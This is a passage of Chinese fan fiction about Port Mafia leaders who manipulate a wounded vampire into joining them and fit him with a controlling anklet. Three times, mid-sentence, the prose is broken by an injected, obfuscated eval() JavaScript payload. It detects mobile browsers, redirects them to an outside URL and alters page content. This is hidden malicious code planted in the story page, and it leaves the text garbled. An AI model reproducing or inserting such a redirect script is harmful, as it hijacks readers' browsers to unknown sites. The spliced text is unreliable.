冰冷刺鼻的消毒水气味取代了尘埃的味道,这里是港口黑手党医疗室的隐秘隔间。 森鸥外,这位掌控着横滨黑夜的医生兼首领,正有条不紊地检查着手术台上昏迷的菲那恩。 他的动作专业而高效,戴着白色手套的手指精准地按压、探查。 “真是令人惊叹的生命力,”他低沉的声音在安静的房间里响起,像手术刀般精准,“肋骨多处骨裂,内脏有严重冲击伤,多处贯穿伤和撕裂伤……这种伤势,换作是人类,在送来的途中就该断气了。” 他微微侧头,看向站在阴影里、仿佛与黑暗融为一体的太宰治,“然而这位菲那恩君……强大的自愈能力已经初步控制住了最致命的损伤,细胞正在高速修复。” “预计……”他顿了顿,给出一个精确的判断,“48小时左右,就能恢复如初。除了失血过多,恐怕连疤痕都不会留下。” 太宰治从阴影中踱步而出,鸢色的眼眸扫过菲那恩苍白却已不再濒死的脸庞,那上面还沾着干涸的血污,长长的银白睫毛在无意识中偶尔轻颤,像易碎的蝶翼。 他耸耸肩,用一种事不关己的语气开始汇报:“首领,情报有限,他的名字是菲那恩·德·图拉尔,按照举止习惯能够推测出他受过良好的教育,从衣服样式、材质和水晶棺也能推测他应该来自类似欧洲贵族一样严苛的家庭,种族应该是吸血鬼吧,会熟练使用强大的类似异能的【血族秘术】……不止一种。” “血族秘术?图拉尔?”森鸥外轻声咀嚼着这个姓氏,嘴角勾起一抹意味深长的弧度,“身负重伤却依然能迅速自愈,拥有强大的力量……这简直是命运赐予港口黑手党的钻石啊,太宰君。” 他转过身,锐利的目光直视太宰治,那目光不再是看一个下属,而是看一枚关键棋子的眼神:“我需要他,需要这份力量,以及他背后可能代表的一切价值。” 太宰治脸上的漫不经心瞬间凝固,随即浮现出毫不掩饰的厌烦:“哈?又要我当保姆?森先生,这种麻烦事交给中也那家伙不是更好?他力气大,最适合压制这种‘怪物’了,或者芥川?” 他双手插进西装裤口袋,身体微微后倾,全身都散发着抗拒的气息,“我对照顾一个脾气古怪的、随时可能暴走的吸血鬼可没兴趣。很麻烦,超级麻烦!” 森鸥外对他的抱怨置若罔闻,只是向前走了一步,声音压得更低,带着一种不容置疑的掌控力和冰冷的诱惑:“太宰君, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337540|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘麻烦’对你而言,不正是这无聊世界里难得的‘消遣’吗?” “而且,我需要的是最顶尖的头脑和最擅长操控人心的人来‘照看’他。中也的力量是压制,芥川的手段是摧毁,而你……你能看透他,理解他,甚至……利用他内心最脆弱的部分。” 他微微眯起眼睛,像一只老谋深算的狐狸,“我需要你压制住他的反抗,磨掉他无谓的骄傲,将他驯化成能为我们所用的‘武器’,确保他的力量指向我们需要的方向。” “还是那句话——很麻烦。”太宰治撇撇嘴,鸢眸深处掠过一丝不易察觉的阴郁,“而且,驯服一个活了几百年的老怪物?成功率可不高哦,森先生~说不定哪天就被他咬断脖子了,不过那倒也算是一种新的自杀方式……” “哦?”森鸥外轻笑一声,仿佛早已预料到他的反应。 他慢条斯理地从白大褂内侧口袋中取出一个小小的、密封的玻璃瓶,瓶内并非药物,而是装着几毫升深红色的、仿佛拥有生命般缓缓流动的粘稠液体。 森鸥外将玻璃瓶举到眼前,指尖轻轻摩挲着冰凉的瓶壁,目光却牢牢锁住太宰治瞬间变得无比专注的鸢色眼眸。 “那么,如果这个‘麻烦’的报酬……是这个呢?”森鸥外的声音带着一种恶魔低语般的诱惑,“代号‘潘多拉’——我们耗费了巨大代价,从某个被剿灭的异能研究组织废墟深处找到的唯一成品样本。” 太宰治的呼吸几不可察地一滞,插在口袋里的手猛地攥紧。 他盯着那瓶深红色的液体,脸上所有的散漫和厌烦如同潮水般褪去,只剩下一种被强烈勾起的、近乎病态的好奇与渴望。 “‘潘多拉’……”太宰治低语,声音带着一丝他自己都未察觉的沙哑,“传说中……能给予服用者‘最想要的死亡’的……终极毒药?” 关于这个神秘物质的传闻在地下世界流传已久,据说能根据服用者内心最深层的渴望,编织出独一无二、完美契合其灵魂的死亡幻境,在无与伦比的极致体验中走向终结。 这对追求“清爽明朗且充满朝气地自杀”的太宰治而言,简直是无法抗拒的圣杯。 “正是。”森鸥外满意地看着太宰治眼中燃起的、几乎要吞噬一切的火焰,“它的效果未经完全证实,但所有接触过它的研究员都……为之疯狂,或者直接疯掉了,危险性毋庸置疑。” “这是目前已知存在的唯一一份成品。”他晃了晃瓶子,那深红液体仿佛在回应般微微荡漾,“作为你‘照看’并成功‘引导’菲那恩君直至他完全为港口黑手党所用的报酬……它,就会是你的了。” “哎呀呀,”太宰治拖长了语调,声音里充满了奇异的活力与危险,“‘最想要的死亡’……这报酬,真是让人完全无法拒绝呢。” 太宰治的视线从那瓶“潘多拉”上移开,缓缓转向手术台上昏迷的菲那恩。 “成交,首领。”他干脆利落地应下,声音里那份被点燃的兴致毫不掩饰,“不过……” 他话锋一转,指尖轻轻敲了敲手术台冰冷的金属边缘,发出清脆的叩响,目光重新投向森鸥外。 太宰治的嘴角勾起一个微妙的弧度,“我们这位尊贵的客人,醒来后……会心甘情愿地接受这份‘招揽’吗?至少,我们需要找到类似人间失格的、能有效限制菲那恩力量的东西。” 森鸥外将“潘多拉”收回白大褂内侧口袋,“听说过十几年前欧洲类似吸血鬼特征的‘异能灾害’吗,太宰君?” 太宰治眼神微动,显然对此也有所耳闻:“福地阁下平定的那场异能灾害吗……” 森鸥外点了点头,眼中闪过精明的光,“虽然对外宣称是‘异能灾害’被成功镇压,但以福地樱痴的能力和欧洲钟塔侍从那些老狐狸的作风……他们不会完全放任这种拥有超强恢复力、以血为食的‘生物威胁’逍遥法外。” “关于欧洲那边的‘抑制手段’,我会动用港口黑手党在欧洲的情报网,以及……一些特殊的‘渠道’,尽快去查证和获取,不惜代价。” 他看向菲那恩,眼神如同评估一件价值连城但需要小心保管的武器:“至于谈判……” “这正是我接下来要做的事情。”太宰治接口道,嘴角重新扬起那抹标志性的笑容,“在他醒来后,在他恢复力量之前,在他最虚弱也最需要思考自身处境的时候……我会去和他‘好好谈谈’。” “很好。”森鸥外满意地点头,转身向门口走去,“那么,欧洲方面的情报和‘保险’就交给我,而菲那恩君……就交给你了,太宰君。在他恢复的这48小时里,你有足够的时间去‘了解’他。” 门轻轻关上,房间里再次只剩下太宰治和昏迷的菲那恩。 太宰治走到手术台边,这次他没有触碰对方,只是静静地、居高临下地审视着,不知在想什么。 4. 观察 港口黑手党总部,医疗室旁的临时观察间。 灯光被刻意调暗,只有几台监测仪器发出幽微的绿光,映照着太宰治没什么表情的侧脸。 菲那恩依旧在隔壁房间的深度昏迷中沉浮,强大的自愈力正无声地修复着那具破碎的身体。 太宰治并没有像他抱怨的那样觉得“无聊透顶”,相反,他正以一种近乎可怕的专注,咀嚼着关于菲那恩·德·图拉尔的一切碎片。 港口mafia已经全力隐藏菲那恩的行踪,对外偷偷散布消息说菲那恩只是个普通异能者,已被某个组织的强大异能者击杀,尸骨无存。 而看见过菲那恩长相的港口mafia成员,威胁、恐吓、利诱,或者根据他们的意愿,放他们回归普通人的生活。 桌上摊开着几份报告:菲那恩身世调查报告、现场勘查记录、战斗分析以及从菲那恩残破衣物上提取的织物分析和水晶棺的初步鉴定报告。 除了身世调查完全无果之外,其他的都是非常有用的情报。 太宰治一手撑着脑袋,一手的指尖在这些报告上轻轻敲击,目光却一直落在菲那恩的身上。 “‘宠物’……图拉尔……”太宰治低声自语,鸢色的眼眸在昏暗光线下流转着冰冷的光泽。 他像拼凑一副残缺的拼图,将菲那恩对那个词的剧烈反应,战斗中偶尔流露出的、与力量不符的、近乎刻意的贵族式仪态,以及报告中提到的“德·图拉尔”这个姓氏联系起来。 那眼神,太宰治太熟悉了。 不是愤怒,不是高傲,而是……被戳中致命伤疤后的茫然与死寂。 “一个拥有古老姓氏和强大力量……但因某种特殊原因却在被视为异类?‘宠物’是那些‘人’对他的蔑称?”太宰治的嘴角勾起一丝没有温度的弧度,“难怪……像被踩了尾巴的猫,或者像是被戳穿了华丽袍子下爬满虱子的可怜虫。” 他拿起另一份报告,上面粗略记录了几种菲那恩展现过的“血族秘术”。 “种类倒是不少,”太宰治微微眯起眼,“但根据中也的描述,每一种似乎都……没有修习到极致?” 他指尖划过报告上关于秘术描述的段落。 倒像个……学了很多门手艺,却没一门真正精通到顶点的……半吊子天才? 这个发现让太宰治眼底的兴趣更浓了。 力量强大,内心藏着巨大的自卑和创伤,渴望被接纳却又本能地竖起尖刺……一个矛盾重重、破绽百出的“古董”。 他甚至能够精准地点出了菲那恩最核心的需求:一个安全的庇护所、稳定的食物来源以及一个能让他重新获得身份认同、融入这个陌生世界的“位置”。 驯服这样的存在,比驯服一头纯粹的野兽要有意思得多,也更具挑战性。 “叩叩。” 轻微的敲门声响起。 “进。”太宰治头也没抬。 一名穿着黑色西装、表情一丝不苟的下属恭敬地推门而入,双手捧着一个深色天鹅绒衬垫的盒子。 盒盖打开,里面静静地躺着那个造型简约、刻满繁复暗纹的银质脚环,在昏暗的灯光下,它散发着冰冷而内敛的光泽,像一件沉睡的凶器。 脚环下面还压着一张说明书和一个打火机大小的控制器。 “太宰大人,首领命我送来的‘保险装置’。”下属的声音压得很低。 太宰治终于将视线从报告上移开,落在那个银色脚环上。 他伸出手,指尖并未直接触碰金属,而是在上方虚虚地描摹着那些暗纹的走向。 森鸥外的效率一如既往地高,而且……足够冷酷。 “嗯,放下吧。”太宰治的声音听不出情绪。 下属将盒子轻轻放在桌角,躬身行礼后迅速退了出去,仿佛多待一秒都会被房间内无形的压力碾碎。 太宰治又盯着脚环看了几秒,拿起了那张英文说明书。 简单来说,脚环里面嵌入了一个非常精密的炼金术矩阵。 主要功能有两个,其一是一旦检测到主体食用人类血液,便会瞬间释放特殊的炼金能量,带来远想象的灼烧感和恶心感。 其二,它还刻有一个世界上最强的束缚异能,且由那个黑色控制器控制。 说明书的最后的一小行英文写着:该异能产物的穿戴与解除也由控制器控制,请妥善保管控制器。 太宰治看完后,淡定地将说明书泡进水杯里,捞出来后直接撕成碎屑扔进了垃圾桶。 估计森先生那里也有着一个同样的备用控制器…… 这个东西对吸血鬼来说可真致命,但对拥有人间失格的他来说,这些都不算限制…… 森先生一边为其他人的安全做考虑,一边坑了他一大把——他必须得管这个血族的饭…… 森先生就不怕这个血族食量大,把他吸干了吗…… 他瞥了一眼墙上的挂钟,时针已经指向了凌晨一点,胃部传来一阵熟悉的空虚感,高强度地动脑,果然容易饿。 他站起身,活动了一下有些僵硬的脖颈,将关于菲那恩的分析暂时封存进脑海深处。 该去补充点能量了。 港口黑手党的内部食堂,即使在深夜也提供基础的热食,通常是为值夜班或刚执行完任务归来的成员准备的。 以往这个时间,虽然人不多,但也会有低声交谈、碗筷碰撞的声音,带着一种疲惫却放松的氛围。 然而今晚,当太宰治慢悠悠地晃进食堂大门时,空气仿佛瞬间凝固了。 仅有的几桌正在默默进食的成员,动作整齐划一地僵住,交谈声戛然而止,连咀嚼的动作都停了下来。 所有人都下意识地低下头,或者将目光死死锁在自己面前的餐盘上,仿佛那里藏着什么绝世珍宝,整个空间只剩下食物保温柜低沉的嗡鸣,以及……一片令人窒息的死寂。 负责打餐的厨师原本正在擦拭台面,看到太宰治的身影,手一抖,抹布差点掉进汤锅里。他努力挤出一点笑容,声音干涩:“太、太宰大人,您需要点什么?” 太宰治像是完全没察觉到这诡异的气氛,或者说,他早已习以为常。 他踱步到热食区,目光懒洋洋地扫过:关东煮、拉面、咖喱饭、还有一些简单的饭团。 “唔……”他拖长了音调,似乎在认真思考。 他拖长的尾音像无形的鞭子,抽得食堂里本就紧绷的空气更加凝滞。 一个正端起味增汤的成员手一抖,滚烫的汤汁溅出几滴落在手背上,他却硬生生忍住没发出一点声音,只是脸瞬间憋得通红。 太宰治的目光最终落在冷藏柜里几个用海苔包裹着的三角饭团上,其中一个上面点缀着小小的蟹肉图案。 “就那个吧,蟹肉饭团。”他随手指了指,语气轻松得像在点下午茶。 “是、是!马上给您拿!”厨师如蒙大赦,手忙脚乱地打开冷藏柜,小心翼翼地将那个蟹肉饭团取出,仿佛那不是饭团而是一枚炸弹。他用最干净的纸袋包好,双手捧着递过来,动作恭敬得近乎卑微。 太宰治接过饭团,指尖甚至没碰到厨师的手。 他随意地晃了晃手中的“晚餐”,脸上依旧挂着那副让人捉摸不透的浅笑。 “谢啦~” 他转身,慢悠悠地朝门口走去。 随着他的脚步移动,食堂里低垂的头颅角度也微妙地调整着,始终确保视线不会与他对上。 直到他的身影彻底消失在门口,那扇厚重的门合拢,食堂里凝固的空气才仿佛“嗡”的一声重新开始流动。 压抑的呼气声、重新响起的、刻意压低的交谈声、还有那个被烫到的人终于敢嘶嘶抽气的声音……混杂在一起,形成一种劫后余生般的嘈杂。 “真没意思。”他低声自语,声音轻得像叹息,又带着一丝不易察觉的厌倦。 这种避之唯恐不及的恐惧,他早已习惯,甚至有些腻烦。 比起这种死水般的寂静和敬畏,医疗室里那个昏迷的古老生物,似乎更能勾起他一丝……名为“有趣”的情绪。 太宰治离开这片沉闷得令人窒息的真空—— “叮——” 自动感应门在他面前无声地、平滑地向两侧滑开。 那人刚准备进门,脚步顿在门口。一头显眼的暗红色头发有些凌乱地翘着几缕,穿着那件常穿的、沾了些许灰尘的米色外套,一手拎着一个印着便利店Logo的半透明塑料袋,里面能看到杯面和饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337541|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团的轮廓。 蓝灰色的眼眸平静无波,带着一丝刚结束工作的疲惫感,正映着食堂内这如同被施了定身咒般的诡异景象。 ——是织田作之助。 太宰治推门的动作瞬间停住了。 “啊呀!”太宰治的声音瞬间拔高了好几度,充满了毫不掩饰的惊喜,与刚才在食堂里制造低气压的模样判若两人。 他几步就轻快地蹦到了门口,挡在了织田作面前。 食堂里的空气仿佛又沉重了几分,几个干部直属成员已经悄无声息地挪到了最远的角落。 “织田作!”太宰治那份雀跃清晰可闻,“这么晚才回来?又忘记吃晚饭了?” 他凑近时,敏锐的嗅觉捕捉到对方外套上残留的、尚未散尽的硝烟味和夜晚的凉气,目光自然落在他提着的便利店袋子上。 织田作之助点了点头,蓝灰色的眼睛平静地扫过一片死寂、噤若寒蝉的食堂内部,目光最后落回太宰治脸上,语气是一贯的平淡无波:“嗯。刚处理完码头仓库区的一点小麻烦。” 他顿了顿,视线在太宰治手上提着的蟹肉饭团上停留了一瞬,“你也饿了?对了,食堂的关东煮卖完了吗?” “是啊,真不走运,”太宰治取下嘴里的饭团,拿在手里晃了晃,抱怨的语气里却带着轻快的笑意,“只剩下这些冷冰冰、硬邦邦的饭团了,但是还有咖喱饭哦,织田作要在这里解决吗?” 他明知故问地侧身,用眼神示意了一下身后依旧凝固如雕像的众人。 织田作之助顺着他的目光,平静地环视了一圈那些恨不得把头埋进桌子底下的成员。 他摇了摇头,提起手里的塑料袋示意:“不,我打算再打包点咖喱饭,带回去吃。” 他像是想起了什么,又补充了一句,“安吾下午提过,新开的那家咖喱屋,据说味道很正,下次可以一起去试试。” “哦?安吾推荐的?”太宰治的眼睛瞬间亮了一下,随即又故意垮下脸,“不过那个工作狂最近肯定又埋在文件山里了吧?想把他挖出来可不容易。” “嗯。”织田作之助简单地应了一声,算是认同。 他的目光不经意间掠过太宰治略显疲惫的眉宇,以及眼下比平时更深的阴影。 他沉默了几秒,才用陈述事实般的语气问道:“你看起来很忙?有‘新工作’?” 太宰治脸上的笑容微妙地加深了,鸢色的眼眸深处,那属于织田作之助熟悉的、混合着深沉探究与扭曲兴味的光芒倏然亮起,如同发现新奇玩具的孩子,却又潜藏着深渊般的危险。 “嗯哼~”他含糊地应了一声,声音带着一丝奇异的活力,“一个……非常特别的‘古董’,需要花点心思好好‘保养’一下。” 他没有具体说明,但织田作明白,这“保养”绝非字面意义上的维护。 “听起来很麻烦。”织田作平静地陈述自己的判断。 “超级——麻烦!”太宰治立刻拖长了音调,夸张地叹了口气,身体却微微前倾,像分享秘密一般,“不过,也很有趣哦,织田作!非常……非常的有趣。” 他眼中的那抹幽深光芒更盛了,如同发现了新大陆。 织田作之助看着他眼中闪烁的、近乎孩子气的兴奋下潜藏的、令人不安的兴趣,只是点了点头:“是吗,那别太晚,注意休息。” 他没有追问细节的习惯,只是给出了朋友间最朴素的关心。 “知道啦知道啦~”太宰治挥了挥手里的蟹肉饭团,笑容灿烂得晃眼,“你快去买咖喱饭吧,小心一会儿咖喱饭也没有了。” 织田作之助几不可察地微微叹了口气:“嗯。走了。” 他拎着便利店的塑料袋,侧身绕过太宰治,走进食堂。 太宰治也不再停留,眼中的厌倦似乎被刚才短暂的交谈冲淡了不少,转身独自走入空旷冰冷的走廊。 他从纸袋里掏出一个饭团,一边慢悠悠地朝着弥漫着消毒水气味的医疗室方向踱步回去,一边撕开了包装纸。 他低头,咬了一口,冰冷的米饭和微腥的蟹肉罐头味道在口中弥漫开。 “唔…味道真一般。” 他皱了皱眉,嫌弃地嘟囔了一句,却还是慢吞吞地咀嚼着。 5. “谈判”? 意识再次回归时,首先感知到的是彻骨的冰冷,并非环境的温度——这房间甚至算得上温暖——而是失血过多后身体内部难以驱散的寒意,以及虚弱感。 菲那恩睫毛颤动了几下,才费力地睁开沉重的眼帘。映入视野的并非拍卖场的废墟或预想中的囚笼铁壁,而是一片陌生的、散发着淡淡木质清香的浅色天花板。 记忆的碎片汹涌回潮:失控的渴望、刺耳的“宠物”二字、锥心的旧伤、毁灭性的重击、嵌入墙体的剧痛与黑暗……他有些崩溃地再次闭上眼睛,不过好在血族的自愈力已经让他完全痊愈了。 他太大意了! 那个人类的血比他想象中的更有吸引力啊,还被揍成重伤……太丢人了…… 然而,身体的异样感强行拉回了他的注意力。 菲那恩猛地低头,瞳孔骤然收缩——他身上那件沾满血污与过往的白袍不见了! 取而代之的是一件……质地柔软、花纹素雅的同色浴衣?! 谁?! 一股难以言喻的羞恼和某种领地被侵犯的恼意瞬间冲上头顶。 是谁在他昏迷时……? 这个念头刚升起,立刻被另一个更突兀的触感取代。 他的左脚脚踝处,传来一丝冰凉而坚硬的触感,以及一种细微的、几乎无法察觉的能量流动。 菲那恩撑起还有些无力的上半身,掀开盖在腿上的薄被,他的目光锐利地锁定在左脚踝上。 那里,环着一只造型精美的银色脚环。 它并非粗笨的镣铐,反而像一件精巧的饰品,流线型的银环上,蚀刻着繁复而陌生的几何符文,在昏暗的光线下流转着极淡的、几乎看不见的微光。 它贴合着皮肤,冰凉光滑,但异常牢固。 菲那恩伸出修长的手指,试图去触摸那些符文,或者找到接口。 但却没有接口,仿佛浑然一体。 他用指尖扣住脚环边缘,试着用力向外掰开。 纹丝不动。 那看似纤细的银环,蕴含着难以想象的坚固和某种奇特的能量场,但他却没有感受到什么实际的影响。 菲那恩赤红的眼眸沉了沉,指尖无意识地摩挲着冰凉的银环表面,心中疑虑丛生。 “咔哒。” 门锁轻响,被推开了。 率先涌入的是那令菲那恩刻骨铭心的、无比诱人的香甜气息,下一秒,太宰治的身影便出现在门口。 他换下了那身黑色西装和黑大衣,穿着简单的白衬衫和长裤,手里端着一个冒着热气的杯子,姿态随意甚至有点……温和? 脸上也不再是拍卖场那种轻佻危险的探究,而是带着一种恰到好处的、仿佛真心实意的关切微笑。 “啊,菲那恩君,你醒了?感觉好些了吗?”他的声音温和,带着一种令人放松的语调,仿佛只是来探望一位重要的友人。 菲那恩眼睛一亮,声音带着许久不说话的沙哑,喉结动了动,“是你……” 太宰治走到床边,将杯子放在床头柜上,里面是清水。 “正式自我介绍一下,我是太宰治,你可以叫我太宰哦。抱歉之前拍卖场的情况有点混乱,气氛不太好,没能好好认识你。”他微微颔首,姿态无可挑剔。 “我是菲那恩·德·图拉尔。”菲那恩一脸懵懂地眨了眨眼睛,看着太宰治,没有回应那杯水。 他说不清楚是什么感觉,但好像……太宰治像换了一个人似的? “我知道你有很多疑问,菲那恩君。”太宰治拉过椅子坐下,双手交叠放在膝上,表情变得认真而坦诚。 “首先,我必须为之前那些不恰当的话,郑重地向你道歉。”他语气真诚,带着明显的懊恼,“‘宠物’什么的……是我太轻率了,言语失当,完全没有顾及你的感受,当时……只是想确认一些关于你状态的事情,方法实在欠妥。非常抱歉,菲那恩君。” 他再次微微低头,歉意显得十分恳切。 菲那恩闻言,不由自主地睁大了眼睛。 紧绷的心弦仿佛被这突如其来的、真诚的歉意轻轻拨动了一下。 那双清澈的鸢眸里,他找不到丝毫伪装的痕迹。 对方……似乎真的在为那冒犯感到懊悔?不是虚伪的逢迎,不是嘲讽,不是恐惧,不是忌惮……这种歉意让他感到一丝茫然无措。 “不……”他眼中掠过一丝慌乱,下意识地摆手,“没…没关系……” 心底那点因被陌生人类冒犯而生的怨怼,竟奇异地消弭了几分。 “那真是太好了。”太宰治的笑容加深了些许,仿佛卸下了一个负担。 事实上就是如此,太宰治很清楚怎么做才能被喜欢,也能轻松做到这个事。 “这里是港口黑手党的医疗室,你伤得很重,但我们拥有横滨最好的医疗资源,你的自愈能力也非常强。”太宰治继续说道,语气里带着安抚,“中也……就是那个暴躁的小矮子,他出手是重了些,但当时情况紧急,他必须确保在场所有人的安全。” “这一点,希望你能理解。” 他将中原中也的责任轻描淡写地带过,重点强调“保护他人”和“情势所迫”,听起来合情合理,无可辩驳。 菲那恩本就不善深思那些弯弯绕绕,闻言只是略作思索,便接受了这个解释,“这样啊……” “至于你的衣服……”太宰治闻言,笑容不变,眼中露出一丝无奈又略带歉意的笑容,“送来时破损严重,沾满了血污和灰尘,实在无法再穿了。” “医疗队的人笨手笨脚,我就自作主张帮你换了这件干净的浴衣,主要是为了避免伤口感染,也让你能舒服些休息。”他解释得流畅自然,理由充分合理,仿佛完全是出于关切和实际需要,“希望这没有让你感到不适或冒犯。” 太宰治诚恳的道歉、合理的解释,以及此刻展现出的全然无害的善意,像温暖的潮水,轻易冲垮了菲那恩最初的戒备与疑虑。 衣服换了……原来是因为这个。 “菲那恩君,”太宰治的声音放得更轻缓,带着一种设身处地的真诚,“我们无意伤害你,相反,我们看到了你非凡的价值,强大的自愈力,独特的‘血族秘术’……” “但是,”他话锋一转,眼神带着一种仿佛真心为菲那恩忧虑的神色,“这个世界,尤其是横滨的夜晚,充满了危险和未知,像你这样……独特的存在,独自一人,没有根基,没有身份,甚至连维持生存的基本需求都难以保障……” “……很容易成为各方势力觊觎的目标,或者陷入比拍卖场更棘手的麻烦,那件事,可能只是一个小小的预兆。” 菲那恩的指尖在毯子下微微蜷缩。 食物……这个人类精准地戳中了他最深的忧虑,饥饿感暂时被压制,但是身体虚弱也绝对少不了需要补充血液。 太宰……似乎真的在为我着想?这个念头让菲那恩感到一丝陌生的暖意。 太宰治敏锐地捕捉到那丝微弱的动摇和悄然升起的信任感,继续用他那极具说服力的声音说道:“港口mafia,能为你提供一个安全的避风港,我们能彻底抹去拍卖场事件的所有痕迹,为你创造一个全新的、体面的身份——。” “在这里,没人知道你的过去,没人会用异样的眼光看待你。” 他身体微微前倾,声音充满诱惑力,也带着真挚的邀请:“我们会提供你需要的一切:安全的住所,稳定的食物来源,甚至……一个融入这个世界、找到归属感的机会。” “菲那恩君,你难道你不想在一个新的地方,找到一个可以称之为‘家’的地方吗?”太宰治的声音放轻了些许,带着浓浓的蛊惑意味,“我们,港口黑手党,可以成为你新的起点,新的依靠哦。” “归属”与“家”——这两个词如同带着魔力的钥匙,瞬间打开了菲那恩尘封的心门,精准地刺中了他灵魂深处最柔软、最渴望的角落。 太宰治的话语编织成一张温暖而华丽的网,层层包裹而来。 他描绘的景象,正是菲那恩在漫长孤寂岁月中求而不得的幻梦。 他习惯了独行,但“家”这个字眼,如同伊甸园里最诱人的禁果,让菲那恩早已麻木的心湖泛起了涟漪。 一股混杂着渴望、迷茫与微弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337542|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖意的复杂情绪,在他心底悄然翻涌。 他看着眼前这个笑容温和、言辞恳切、似乎真心关怀他的太宰治,一个更隐秘、更强烈的念头在心底扎根:加入他们。 加入他们……似乎真的很不错…… 而且,这个太宰治……他和其他人不一样。 他一定要得到太宰治,将这个特别的人类,变成只属于他的血仆。 那将是何等美妙的生活? 想到这里,一种混合着隐秘的期待和愉悦感的暖流涌过心头。 简单的利弊权衡在脑中飞速完成,表面上,这交易对他百利而无一害。 “……我接受。”菲那恩终于开口,声音依旧有些沙哑,带着一丝……不易察觉的、对未来的期待,“我接受港口黑手党的邀请。” 他特意用了“邀请”而非“招揽”,试图维持一点体面。 太宰治脸上的笑容瞬间扩大,仿佛真的为这个结果感到无比欣慰和高兴。 “菲那恩君,这绝对是最明智的选择,欢迎正式加入港口黑手党这个……嗯,或许不那么温暖,但绝对可靠的大家庭!”他轻轻拍了两下手,语气轻快真诚。 紧接着,他像是才想起来一件小事,目光随意地滑向菲那恩盖着毯子的脚踝,用一种轻松闲聊的口吻说道:“啊,对了。按照我们这里的传统,新成员加入,尤其是像你这样重要的成员,直属上司通常会准备一份小小的‘入职礼物’,以示欢迎和重视。” 菲那恩的心微微一动。 礼物? 太宰治站起身,走到床边,动作自然甚至带着点分享的意味,轻轻掀开了毯子的一角,露出了那个精致的银脚环。 他修长的手指点了点那冰凉的金属。 “喏,就是这个。”太宰治的语气轻松,带着点“看我选的不错吧”的自得,“漂亮吧?我特意选的款式,感觉挺适合你的气质,首领也同意了,算是我们两人一起送你的欢迎礼。” 菲那恩看着脚踝上那在灯光下流淌着漂亮光泽的银环。 它确实很漂亮,又很精致。 原来……是礼物?是太宰君和首领的心意?是为了欢迎他加入? “我……从未想到这一层……”他低声说,指尖下意识地轻轻抚过那光滑冰凉的金属表面。 那点关于“为何取不下来”的疑虑,在“欢迎”与“心意”的冲击下,显得如此微不足道,只觉得这是对方表达善意的一种方式。 他甚至还用指尖轻轻摩挲了一下那光滑冰凉的表面。 看着菲那恩那毫不掩饰的、带着点新奇甚至近乎天真的神情,太宰治鸢色的眼眸深处,一丝极难察觉的、近乎荒谬的光芒飞快掠过。 居然……真的信了。 原本只是试试能不能哄骗他心甘情愿加入港口mafia…… 这个活了几百年的生物,在人心诡诈方面,简直单纯得像一张白纸。 这种“单纯”,在横滨的泥沼里,简直比钻石还稀有……也更容易被染上想要的色彩。 太宰治的眼神几不可察地暗沉了一瞬,正专注于脚环的菲那恩并未发现。 菲那恩感受着脚踝上冰凉的金属触感,心中却在想象着未来的血仆大计。 一个漂亮的脚环而已…… 他抬眼看向笑容温和的太宰治,神色懵懂,但那份悄然升起的好感混合着强烈的占有欲,让他心底的念头更加坚定。 ——必要的时候……把妨碍他和太宰的家伙都清理掉就好了。 唔……理想状态下,若恢复全盛力量,且太宰不横加阻拦的话……让这座城市归于尘土,也并非做不到。 他自己都没意识到,他已经在不知不觉中将太宰和其他人类分开看待了。 ………… 港口Mafia医疗中心。 从拍卖场收集的菲那恩的血液,在试管里呈现诡异的珍珠光泽,正与太宰治的血在培养皿中互相吞噬。 "有趣。“森鸥外一边写着记录一边自言自语。 “血细胞活性是常人的三十倍,却对太宰君的血……产生戒断反应呢。” 6. 天大的麻烦 “那么,菲那恩君,既然你已经是我们重要的新成员了,有些流程还是要走一下的——首领想见见你,你也需要认识一下首领。” 走出医疗室,菲那恩像初入人类社会的幼兽,带着纯粹的好奇打量着四周。 港口mafia总部的内部环境与他想象中阴暗潮湿的巢穴完全不同,宽敞明亮,暖色调的墙壁,厚实的地毯,柔和的灯光,甚至还有艺术品点缀? 空气中除了消毒水和高级木料的味道,确实还有一丝硝烟和血腥的残留,但这在菲那恩看来,不过是这个“大家庭”强大实力的证明。 他越发觉得,加入这里是个正确的选择。 太宰果然没有骗他! 他们乘坐一部内部专用的需要虹膜识别的电梯,直达顶层。 电梯门无声滑开,眼前是一条更加肃穆、守卫更加森严的走廊。 尽头是一扇厚重的雕刻着繁复花纹的深色木门。 门口守卫的黑西装成员看到太宰治,立刻恭敬地低头行礼:“太宰大人。” 他们的目光在菲那恩身上短暂停留,带着审视,但训练有素地没有表露过多情绪。 太宰治随意地点点头,推开了那扇沉重的门。 